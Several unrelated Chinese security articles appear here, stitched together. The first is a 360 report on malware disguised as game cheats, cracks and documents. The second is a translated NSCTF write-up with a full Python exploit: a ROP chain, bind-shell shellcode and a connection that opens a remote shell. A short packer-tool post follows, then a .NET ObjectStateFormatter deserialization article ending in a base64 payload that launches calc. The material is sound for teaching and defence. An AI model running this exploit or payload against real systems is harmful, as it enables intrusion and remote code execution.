再比如，在伪装成常用程序与文件的恶意程序中，敲诈者病毒占比最高，达22.0%。这也再一次说明了一个安全意识的重要性：陌生人发来的陌生文件不要轻易打开。
**四、 欺骗性恶意程序变化趋势**
从新增样本的变化趋势来看，在360互联网安全中心2016年截获的所有欺骗性恶意程序中，伪装成游戏外挂的恶意程序样本数量占比全年稳居第一，第二季度达到最高峰，最后两个季度有所下降。与此相反的是伪装成贪便宜软件的恶意程序数量占比，第二季度处于最低峰，后两季度逐渐上升，在第四季度超过了总量的20%，这也说明恶意程序作者比较偏向于选择此类软件作为载体进行传播。下图给出了不同伪装形式的恶意程序新增样本数量占比的全年变化情况。
**第二章 各类欺骗性恶意程序详解**
**一、 恶意游戏外挂类**
近年来中国的互联网游戏迎来了突飞猛进的发展，可以满足不同年龄段用户需求，特别是LOL、CF还有各类游戏平台的小游戏等深受大众喜欢，玩家基数庞大，用户年龄段广。因此，恶意软件作者也瞄准了这块蛋糕，将外挂作为传播载体，捆绑木马或进行推广行为，从中谋取利益。
统计显示，在伪装成各类游戏外挂，或捆绑各类游戏外挂的恶意程序中，恶意传奇私服类占比最高，达到了31.6%，原因是此类型的怀旧游戏玩家不少，多数玩家偏好私服，恶意程序作者也因此偏爱通过私服传播。该些恶意程序运行后会释放底层驱动程序，并从云端读取命令，劫持用户浏览器数据，锁定用户主页等。
此外，小游戏类外挂23.1%，CF类外挂13.1%，DNF类外挂7.9%，LOL类外挂5.3%也都是欺骗性恶意程序最喜欢伪装的游戏外挂类型。
**二、 恶意贪便宜软件**
网络上的刷金币、刷流量、领话费、网赚挂机等软件层出不穷，其中大部分都是虚假的，恶意软件作者正是利用了“贪便宜”这种人性弱点，才让此类恶意软件日益猖獗。
通过对360互联网安全中心的抽样统计分析显示：刷XX（如刷钻、刷会员、刷Q币等）在此类恶意程序中占比最高，达33.1%，这归根于社交软件用户众多，并且部分用户喜欢追求某些特权，又不愿花钱，这直接导致了某些用户容易被此类恶意程序欺骗。
其次是网赚挂机类，达到了24.1%，此类恶意程序通常宣称可以“自动点击广告”，“自动挖矿”赚钱，但实际上主要的行为是欺骗用户充值，伪装成各大银行以及支付宝等页面进行钓鱼盗号，流氓推广等行为。不过，对于普通用户来说，此类恶意程序在前期使用时往往无法及时发现其恶意行为，往往是当用户发现自己账户上的钱不断上涨，进行提现时才会发现其中的猫腻，发现钱取不出来。这也是此类程序占比较大的原因。还有各类名称中含有领话费、领流量、领会员等字样的贪便宜软件恶意样本，占比约为23.8%。
**三、 恶意色情播放器**
网上流传的绝大多数的色情播放器都是木马程序或捆绑了木马的播放器程序，其具体名称和外观伪装五花八门，这里不做详细分析了。但这类恶意程序的传播方式值得关注。因为其他绝大多数的欺骗性恶意程序之所以会被用户手动放行，一个重要的原因就是用户通常是主动去网站上查找相关功能软件（如游戏外挂、贪便宜软件、破解软件、黑客工具等），并主动下载和安装的木马程序。但恶意色情播放器的传播方式与此不同，很多用户是在不经意间看到了色情播放器的推广信息后，因被其内容强烈吸引而下载并安装的。
色情播放器通常是在用户浏览网页的时候突然弹出来的，也许是因为您不小心点了漂浮的广告，也有可能是您本来想下载软件，但点了“下载地址”后，莫名其妙就来到了一个奇怪的页面。一般来说，我们在遇到此类情况时，如果简单的关掉这些页面，通常不会有什么损失，但是如果按照提示安装了播放器，十有八九都会中招。统计显示，37.9%的恶意色情播放器是通过此种方式诱导用户在网站上下载的。
此外，通过论坛等渠道发布信息，诱导受害者到云盘、网盘等网络存储空间上下载，也是恶意色情播放器的常见传播方式，占比为33.4%。在这种传播方式中，用户下载的安装包通常会被设置密码，目的是为了躲避查杀。再者就是捆绑其他软件传播，占比约为11.2%，通过社交软件传播，占比6.5%。
**四、 恶意破解软件**
尽管是在免费模式大行其道的当今互联网时代，仍然有很多软件、游戏是需要付费使用，或付费购买增值服务（如游戏装备等）的。但对于很多版权意识不强的用户来说，低价盗版软件，免费破解软件，或者是使用破解工具破解合法软件等，仍然具有一定的吸引力。所以，很多攻击者也就开始以免费的破解软件，破解补丁等名义，传播木马病毒。
恶意破解软件最经常使用的名称是破解补丁，云盘提速，以及系统激活这三类，三者之和占到了此类恶意程序样本总量的接近80%。恶意破解软件通常会给用户静默安装推广软件，甚至植入后门木马进行远控。用户运行此类程序后，往往分不清楚这些软件的行为是破解行为还是恶意行为，又急迫的想要激活程序，因此在杀毒软件查杀时就会选择主动放行，忽略了其恶意行为。下图给出了恶意破解软件的细分类型分析。
**五、 伪装常用程序与文件**
在本报告分析的所有欺骗性恶意程序中，伪装成常用程序或文件的恶意程序比较特殊，因为这类恶意程序并不是伪装成灰色或违法软件的形式来诱骗用户下载安装，而是尽可能的把自己伪装成一个看上去是“正常的”、“好的”，或者是用户“需要的”程序或文件，以此迷惑用户。
统计显示，在伪装成常用程序与文件的恶意程序中，约43.5%是伪装成了常用程序，其中，比较常见的伪装形式包括系统组件（如svchost.exe、rundll32.exe等）、Flash插件和其他一些应用程序安装包等。
另有56.5%的伪装成常用程序与文件的恶意程序则是把自己伪装成了各种文档或文件。其中，伪装成办公文档（如Office文档、PDF文档、WPS文档等）的总量的约占34.9%，伪装成压缩包的约占17.1%，伪装成图片的约占4.5%。
特别值得一提的是，伪装成各种文档或文件的恶意程序，常常会通过电子邮件进行传播，它们往往会用令人感兴趣的标题，以及精心设计，以假乱真的图标，来吸引受害者打开这些邮件附件。在普通的民用攻击中，这些文件很可能是敲诈者病毒，而在高级持续性攻击中，即APT攻击，这些程序则很有可能是特定组织精心设计的间谍软件。
**六、 带有后门的黑客工具**
黑客工具是指那些被用来寻找系统漏洞，窥探系统数据，制作木马病毒的非法工具。很多黑客或技术人员会通过论坛和搜索引擎找到并使用这些黑客工具。但实际上，目前网上流传的各种黑客工具，大多内置了后门或捆绑了木马。而使用这些黑客工具的人，在试图攻击他人的同时，自己也成为了他人攻击的目标。
统计显示，所有带后门的黑客工具中，扫描器排名第一，占比高达33.9%。此类工具类型众多，常被用于网络渗透和漏洞检测，是很多黑客初学者的必备工具。其次是DDOS工具占比16.8%；轰炸机占比13.7%，挖矿机占比15.5%，密码破译工具占比8.9%。
**第三章 2016最具欺骗性的恶意软件实例**
**一、 TOP1 传奇依旧之游戏外挂**
欺骗指数：★★★★★
危害指数：★★★★☆
清除难度：★★★★☆
“无热血，不江湖，无兄弟，不传奇”，如果你是一个资深的传奇游戏爱好者，你一定不会感到陌生。
游戏作为互联网娱乐性应用的代表，因其丰富的游戏内容、代入感强、拥有社交属性等特点，已经成为大多数网民日常生活中不可或缺的重要组成部分。正因用户基数巨大，这给私服外挂带来巨大的市场，特别是针对一些热门游戏的外挂，如LOL、DNF、传奇私服等。然而，部分私服外挂存在着恶意推广，捆绑木马远控等行为。
下面是一款热血传奇私服外挂的实例。我们通过分析该私服外挂，发现程序中有一个博客的网址。从这个博客上可以看到该私服访问量很大，说明这个私服已经有不少玩家。仔细看看，这个博文表面上是一些乱打出来的字符串，其实这是一段加密的数据，解密出来则是一个IP地址和端口。私服登录器在运行时会连接该地址下载文件，
该文件是完全可以由作者自由更换，这种利用博客进行云控的方式在私服外挂中使用非常广泛。
在此我们建议广大用户谨慎使用私服登录器以及相应的外挂，一旦运行这些私服外挂，你的电脑很可能就会沦为“肉鸡”，任由黑客摆布。
**二、 TOP2 天上掉馅饼之贪便宜软件**
欺骗指数：★★★★☆
危害指数：★★★☆☆
清除难度：★★☆☆☆
天上掉馅儿饼这种事儿，是做梦都会笑醒的！现如今网络上的虚假软件随处可见，已成为主要危害之一，这些软件抓住部分用户贪便宜的心态，从而得到快速传播。例如部分用户觉得网赚很爽，不用风吹日晒，电脑上运行这个软件，就能把钱赚到手，实际上这类恶意软件有的是欺骗用户充值，有的是伪造网银、支付宝等页面进行钓鱼盗号。又如领话费、流量等工具，此类软件一般是利用其他网站举办活动的验证缺陷进行领取，但是实际上绝大多数网站都会第一时间修复漏洞，所以基本上能够见到的此类软件都因漏洞被修复或者活动结束而无法领取，当用户实际上在计算机上运行了此类软件，往往不但没有领取到话费，反而浏览器首页会被莫名其妙锁定到各种导航网站，或者桌面上突然多出几个静默安装程序的图标，真是赔了夫人又折兵，便宜没占到，反而被人暗算一把。
下面以一款名为“XX挂机自动赚钱系统”的软件为例，用户注册并运行这类软件之后，首先看到的是软件界面是显示的一系列的“XX提取的XX元现金”，“XX升级成为VIP”等提示语，然后点击开始赚钱之后，发现账户上的钱在唰唰唰的往上涨，好像真的什么都不需要做，只需要让它安静的运行即可赚钱。赚了钱自然就得提现，用户提现的时候，恶意软件作者邪恶的爪牙就显露无遗了，叮！“你只能提现0.1元，如果想提取全部的金额请升级为VIP”,怎么升级VIP呢？充钱！没错，这就是它的套路，通过此种方式来骗取用户充值。
遇到这种情况，请大家谨记，天上不会无缘无故掉馅饼!
**三、 TOP3 色字头上一把刀之色情播放器**
欺骗指数：★★★☆☆
危害指数：★★★★☆
清除难度：★★★☆☆
网络上充斥着各种诱惑，恶意软件作者就特意瞄准了这群按耐不住洪荒之力的小伙伴们，借此传播各种恶意软件。
这类恶意软件通常都有一个很具诱惑性的名字以及一个美女图标或快播图标，在使用过程中，大多都会有欺骗用户充值、静默安装推广软件、锁定浏览器主页、植入后门木马等行为，甚至有感染、勒索行为。
比如以下这款影音软件，一旦用户打开运行就会在桌面上生成伪装成360浏览器以及具有诱惑性名称和图标的恶意快捷方式，同时该软件会通过云控下载并安装各种推广大礼包，其中充满各种让人把持不住的诱惑性图片，如果想观看就需充值付款，软件作者通过这种套路来欺骗用户充值牟利。
**四、 TOP4 放纵不羁爱自由之恶意破解软件**
欺骗指数：★★★☆☆
危害指数：★★★☆☆
清除难度：★★★☆☆
随着现在网络的迅猛发展，提供各式各样服务的软件层出不穷，其中很多软件提供给普通用户的都有一定的功能限制，特别是专业的行业软件，只有支付一定的费用，用户才能使用更高级的功能，软件收费本身是无可厚非的，但是对于有些用户来说，更愿意去寻找免费的破解版本使用。
很多恶意软件作者正是抓住了用户这点心理，打着“XX破解版”、“XX激活软件”等旗号，静默安装推广软件，甚至植入后门木马进行远控等行为。
例如下面这款系统激活软件，当用户点击“激活”按键时，该软件会设置默认主页进行推广，并且修改开始菜单（C:Documents and
SettingsanalysisStart MenuPrograms）中Internet
explorer快捷方式，使其指向推广链接。同时，软件还会连接远程地址下载恶意文件到IE缓存目录中，达到控制用户电脑的目的。
因此，用户在激活时，尽量选择正版序列号进行激活，以防止自身电脑中毒。
**五、 TOP5 披着羊皮的狼之伪装文件**
欺骗指数：★★☆☆☆
危害指数：★★★★★
清除难度：★★★★☆
恶意软件中一直存在这么一种手段简单但中招率高的手法，就是将可执行文件图标伪装成doc，pdf，xls，rar等文档文件或者其他正常软件。这类软件的名称都是经过精心伪造，伪装成用户感兴趣的名称，降低用户警惕，诱使用户直接运行。
就如下面这个恶意软件，它将可执行文件图标伪装成pdf图标，如果用户设置文件选项中的隐藏文件的后缀名，它显示的名称将是“汽车契税改革通知.pdf”，其实它的真实文件名为“汽车契税改革通知.pdf.exe”，这个恶意软件其实是一个敲诈者，一旦得以运行将会加密磁盘内的所有文档，用户只有按照提示支付比特币才有可能获得解密。
又如下面这些文件，实际上都是具有远控性质的恶意代码，而并非真正的图片或WORD文件。
**六、 TOP6 骇客帝国之黑客工具**
欺骗指数：★★☆☆☆
危害指数：★★★☆☆
清除难度：★★★★☆
在常人的眼中，黑客只需轻敲几下键盘，就能控制对方电脑。这也间接导致了部分用户想学各种黑客技术用于获取非法信息，来满足自己的虚荣心。部分初学者都只是简单的使用互联网上现有的黑客工具来达到目的。如端口扫描、社工辅助、挖矿机等工具。这些工具很多都包含恶意行为，如静默推广、捆绑木马病毒等，导致很多用户蒙受欺骗。
例如下面这款端口扫描软件，当用户点击运行时，还没有任何操作，该程序就会在临时目录（C:Documents and Settingsuser
nameLocal
SettingsTemp）释放恶意程序svshost.exe并运行，该程序实际为远控木马，用户还未攻击别人时，就已沦为别人的“肉鸡”，任由摆布。
因此，请用户尽量不要使用来源不明的黑客工具，否则还未攻击别人，自己已中招。 | 社区文章 |
# NSCTF Bin 1500
|
##### 译文声明
本文是翻译文章，文章来源：Chu's BLoG
原文地址：<http://sh3ll.me/2015/09/28/nsctf-bin-1500/>
译文仅供参考，具体内容表达以及含义原文为准。
实战中体验了次 DEP & ASLR 的绕过。
## Fuzz 溢出点
题目里只给了个 PE 程序,运行程序后 `netstat -anbp tcp` 可以看到程序正在监听 2994 端口。PEiD 查看发现是 AsPack
的壳,`ESP 定律` 脱壳后丢到 IDA 中搜索欢迎信息(`shift F12`),F5 得到如下伪代码:
1234567891011121314151617181920212223242526
|
int __cdecl sub_401120(SOCKET s){ ··· SNIP ···if ( !sub_4016BE(&buf, "ENCRYPT ", 8) ){v12 = (int)&v10;sub_4010C0(s, (int)&v10);}if ( !sub_4016BE(&buf, "STATUS", 7) ){v4 = GetModuleHandleA(0);sub_405EB0(&buf, 0, 1452);sub_40177E(&buf, 1452, "OK: Current Module Load @ 0x%.8Xn", v4);send(s, &buf, strlen(&buf), 0);}if ( !sub_4016BE(&buf, "EXIT", 4) ){sub_405EB0(&buf, 0, 1452);sub_40179C("Session Exit:SOCKET[%d]n", s);sub_40177E(&buf, 1452, "Session Exit:SOCKET[%d]", s);result = send(s, &buf, strlen(&buf), 0);if ( s == -1 )return result;return closesocket(s);}··· SNIP ···
---|---
可以发现只有三个操作,简单 Fuzz 下就会发现 ENCRYPT 函数会导致程序崩溃:
[](http://sh3ll.me/images/2015/09/28/nsctf-bin-1500-1.png "图 1")
图 1
接下来需要做的就是具体的分析 ENCRYPT 函数。
## 分析溢出函数
跟进 10C0 可以看到函数取了输入的前两位并将剩余的一起放入 1030 中:
12345678910111213
|
int __cdecl sub_4010C0(SOCKET s, int a2){unsigned __int16 v2; // cx@1char buf[4]; // [sp+10h] [bp-204h]@1char v5; // [sp+14h] [bp-200h]@1v2 = *(_WORD *)a2; // a2 => ABCEEFG// v2 => AB*(_DWORD *)buf = *(_WORD *)a2; // buf => ecx => ABCDEFGH前两字节 => ABsub_401030(v2, (int)&v5, a2 + 2); // a2+2 => CDEFGHsend(s, buf, 2, 0);return send(s, &v5, *(unsigned __int16 *)buf, 0);}
---|---
继续跟进,终于看到真正的操作了。
12345678910111213141516171819202122232425262728293031323334353637383940414243
|
int __usercall sub_401030@<eax>(signed int a1@<ebx>, int a2, int a3){int v3; // eax@2signed int v4; // esi@2int v5; // edi@3int result; // eax@5int v7; // edx@7int v8; // ecx@8int v9; // edi@9if ( !byte_40F95C ) // 异或表{v3 = sub_401566(0);sub_4015B7(v3);v4 = (signed int)dword_40F968;do{v5 = sub_4015C9() << 16;*(_DWORD *)v4 = v5 + sub_4015C9();v4 += 4;}while ( v4 < (signed int)&dword_40F9E8 );byte_40F95C = 1; // 只生成1次异或表}result = a1 / 4; // 控制异或次数if ( a1 & 3 )++result;v7 = 0;if ( result > 0 ){v8 = a2;do{v9 = *(_DWORD *)(a3 - a2 + v8) ^ dword_40F968[v7++ & 0x1F];// v7 => edx、edi(edx计数、edi保存)// 取key and后保存在edi中// 与输入异或保存在edi中*(_DWORD *)v8 = v9; // memcpy!造成溢出。v8 += 4;}while ( v7 < result );}return result;}
---|---
可以看出前两个字符用于控制需要加密的数据大小,接下来的则是需要加密的数据。这里存在两个问题:
* 异或表只生成了一次,可以通过第一次异或的结果推导出 Key,进而可以控制第二次生成的密文。
* 未对输入长度进行判断,导致了栈溢出。
手工二分法大致判断出溢出长度为 500 到 1000 之间,通过`mona.py`生成的字符串可以定位覆盖 EIP 的具体长度。
## 对抗 DEP & ASLR
就此题而言,对抗 ASLR 很简单,因为 `STATUS` 命令会直接返回模块加载的基地址。通过 ROP 绕过 DEP,在 IDA
里可以看到官方给写好很多小配件(helper 段):
[](http://sh3ll.me/images/2015/09/28/nsctf-bin-1500-2.png "图 2")
图 2
结合这些小配件就可以编写出自己的 ROP 链,最终的 EXP 如下:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108
|
#coding: utf-8from pwn import *HOST = sys.argv[1]conn = remote(HOST, 2994)conn.newline = "rn"# get welcome messageconn.recv()# get addrlog.info("try to get the base addr")conn.sendline("STATUS")base = int(conn.recv().strip()[-10:], 16)log.success("base addr => {}".format(hex(base)))# first encryption, to get the tablelog.info("send the first packet, try to get the table")conn.sendline("ENCRYPT x80x00" + "x00"*0x80)conn.recv()table = conn.recv()# second encryption, exploit itlog.info("send the second packet, try to exploit it")payload = "x90" * 0x200# save esp to eax, ebxpayload += pack(base+0x1001) # mov eax, esp; retnpayload += pack(base+0x1004) # mov ebx, eax; retn# point ebx to shellcodepayload += pack(base+0x1015) # add ebx, 20; retnpayload += pack(base+0x1015) # add ebx, 20; retnpayload += pack(base+0x1015) # add ebx, 20; retnpayload += pack(base+0x1015) # add ebx, 20; retnpayload += pack(base+0x1015) # add ebx, 20; retn# point eax to parameter1payload += pack(base+0x100e) # add eax, 10; retnpayload += pack(base+0x100e) # add eax, 10; retnpayload += pack(base+0x100e) # add eax, 10; retnpayload += pack(base+0x100e) # add eax, 10; retnpayload += pack(base+0x100e) # add eax, 10; retnpayload += pack(base+0x3814) # pop ecx; retnpayload += pack(0x4)payload += pack(base+0x5c0a) # sub eax, ecx; retn# modify parameter 1payload += pack(base+0x1007) # mov dword ptr ds:[eax],ebx; retn# point eax to ret addr & modify retpayload += pack(base+0x100a) # sub eax, 4; retnpayload += pack(base+0x1007) # mov dword ptr ds:[eax],ebx; retn# call VirtualProtectpayload += pack(base+0x101b) # push kernel32.VirtualProtect; retnpayload += "AAAA" # retpayload += "BBBB" # lpAddresspayload += pack(0x200) # dwsizepayload += pack(0x40) # flNewProtectpayload += pack(0x00010000) # lpflOldProtectpayload += "x90" * 0x10# shellcode for bind shellpayload += "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8b"payload += "x50x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7"payload += "x4ax26x31xffxacx3cx61x7cx02x2cx20xc1xcf"payload += "x0dx01xc7xe2xf2x52x57x8bx52x10x8bx4ax3c"payload += "x8bx4cx11x78xe3x48x01xd1x51x8bx59x20x01"payload += "xd3x8bx49x18xe3x3ax49x8bx34x8bx01xd6x31"payload += "xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03x7d"payload += "xf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66"payload += "x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0"payload += "x89x44x24x24x5bx5bx61x59x5ax51xffxe0x5f"payload += "x5fx5ax8bx12xebx8dx5dx68x33x32x00x00x68"payload += "x77x73x32x5fx54x68x4cx77x26x07xffxd5xb8"payload += "x90x01x00x00x29xc4x54x50x68x29x80x6bx00"payload += "xffxd5x6ax08x59x50xe2xfdx40x50x40x50x68"payload += "xeax0fxdfxe0xffxd5x97x68x02x00x11x5cx89"payload += "xe6x6ax10x56x57x68xc2xdbx37x67xffxd5x57"payload += "x68xb7xe9x38xffxffxd5x57x68x74xecx3bxe1"payload += "xffxd5x57x97x68x75x6ex4dx61xffxd5x68x63"payload += "x6dx64x00x89xe3x57x57x57x31xf6x6ax12x59"payload += "x56xe2xfdx66xc7x44x24x3cx01x01x8dx44x24"payload += "x10xc6x00x44x54x50x56x56x56x46x56x4ex56"payload += "x56x53x56x68x79xccx3fx86xffxd5x89xe0x4e"payload += "x56x46xffx30x68x08x87x1dx60xffxd5xbbxf0"payload += "xb5xa2x56x68xa6x95xbdx9dxffxd5x3cx06x7c"payload += "x0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00"payload += "x53xffxd5"# xor encode payloadpayload = xor(table, payload, cut="right")conn.sendline("ENCRYPT {}{}".format(p16(len(payload)), payload))# close the connectionconn.close()# interact with shellconn = remote(HOST, 4444)log.success("enjoy :)")conn.interactive(prompt="")conn.close()
---|---
[](http://sh3ll.me/images/2015/09/28/nsctf-bin-1500-3.png "图 3")
图 3
小 tip:这题做题是只要求弹出计算器,所以没必要构造完整的 ROP,利用程序自带的开新进程就可以达到题目要求。 | 社区文章 |
因某天突然奇想，之前安卓移动端查壳都是windows平台。使用起来每次都需要开虚拟机，贼麻烦！
就仿照Win版的PKID界面和功能写了一个跨平台的查壳工具。方便各位大佬使用。[安全脉搏SecPulse.com]
目前仅支持加固厂商：娜迦、梆梆、爱加密、通付盾、360加固、百度加固、阿里、腾讯、盛大、瑞星加、网秦、国信灵通、apkprotect、几维安全、顶像科技、网易易盾等常规厂商。
链接: <https://pan.baidu.com/s/1c3os8Qc> 密码: uw8v | 社区文章 |
**原文来自安全客，作者：Ivan1ee@360云影实验室
原文链接：<https://www.anquanke.com/post/id/176664>**
相关阅读：
* [《.NET 高级代码审计（第一课）XmlSerializer 反序列化漏洞》](https://paper.seebug.org/837/ "《.NET 高级代码审计（第一课）XmlSerializer 反序列化漏洞》")
* [《.NET 高级代码审计（第二课） Json.Net 反序列化漏洞》](https://paper.seebug.org/843/ "《.NET 高级代码审计（第二课） Json.Net 反序列化漏洞》")
* [《.NET高级代码审计（第三课）Fastjson反序列化漏洞》](https://paper.seebug.org/849/ "《.NET高级代码审计（第三课）Fastjson反序列化漏洞》")
* [《.NET高级代码审计（第四课） JavaScriptSerializer 反序列化漏洞》](https://paper.seebug.org/865/ "《.NET高级代码审计（第四课） JavaScriptSerializer 反序列化漏洞》")
* [《.NET高级代码审计（第五课） .NET Remoting反序列化漏洞》](https://paper.seebug.org/881/ "《.NET高级代码审计（第五课） .NET Remoting反序列化漏洞》")
* [《.NET高级代码审计（第六课） DataContractSerializer反序列化漏洞》](https://paper.seebug.org/882/ "《.NET高级代码审计（第六课） DataContractSerializer反序列化漏洞》")
* [《.NET高级代码审计（第七课） NetDataContractSerializer反序列化漏洞》](https://paper.seebug.org/890/ "《.NET高级代码审计（第七课） NetDataContractSerializer反序列化漏洞》")
* [《.NET高级代码审计（第八课）SoapFormatter反序列化漏洞》](https://paper.seebug.org/891/ "《.NET高级代码审计（第八课）SoapFormatter反序列化漏洞》")
* [《.NET高级代码审计（第九课） BinaryFormatter反序列化漏洞》](https://paper.seebug.org/901/ "《.NET高级代码审计（第九课） BinaryFormatter反序列化漏洞》")
### 0x00 前言
ObjectStateFormatter一般用于序列化和反序列化状态对象图，如常用的ViewState就是通过这个类做序列化的，位于命名空间
System.Web.UI，优点在于对基础类型存储在pair、Hashtable等数据结构里的时候序列化速度很快。但是使用反序列化不受信任的二进制文件会导致反序列化漏洞从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现。
### 0x01 ObjectStateFormatter序列化
下面通过使用ObjectStateFormatter类序列化一个实例来说明问题，首先定义TestClass对象
定义了三个成员，并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值
同BinaryFormatter一样，常规下使用Serialize得到序列化后的二进制文件内容
### 0x02 ObjectStateFormatter反序列化
#### 2.1、反序列化用法
反序列过程是将二进制数据转换为对象，通过创建一个新对象的方式调用Deserialize方法实现的
，查看ObjectStateFormatter格式化器定义一样实现了IFormatter接口
笔者通过创建新对象的方式调用Deserialize方法实现的具体实现代码可参考以下
反序列化后得到TestClass类的成员Name的值。
#### 2.2、攻击向量—ActivitySurrogateSelector
由于上一篇中已经介绍了漏洞的原理，所以本篇就不再冗余的叙述，没有看的朋友请参考《.NET高级代码审计（第八课）
SoapFormatter反序列化漏洞》，不同之处是用了ObjectStateFormatter类序列化数据，同样也是通过重写ISerializationSurrogate
调用自定义代码，笔者这里依旧用计算器做演示，生成的二进制文件打开后如下图
按照惯例用ObjectStateFormatter类的Deserialize方法反序列化
最后反序列化成功后弹出计算器，但同样也抛出了异常，这在WEB服务情况下会返回500错误。
#### 2.3、攻击向量—PSObject
由于笔者的windows主机打过了CVE-2017-8565（Windows
PowerShell远程代码执行漏洞）的补丁，利用不成功，所以在这里不做深入探讨，有兴趣的朋友可以自行研究。有关于补丁的详细信息参考：
<https://support.microsoft.com/zh-cn/help/4025872/windows-powershell-remote-code-execution-vulnerability>
### 0x03 代码审计视角
#### 3.1、Deserialize
从代码审计的角度找到漏洞的EntryPoint，Deserialize有两个重载分别可反序列化Stream和字符串数据，其中字符串可以是原始的Raw也可以是文档中说的Base64字符串，两者在实际的反序列化都可以成功。
下面是不安全的代码：
攻击者只需要控制传入字符串参数path便可轻松实现反序列化漏洞攻击。
也可以使用下面的这段不安全代码触发漏洞：
请求Base64的Poc可成功触发弹出计算器
/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA%2BU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtL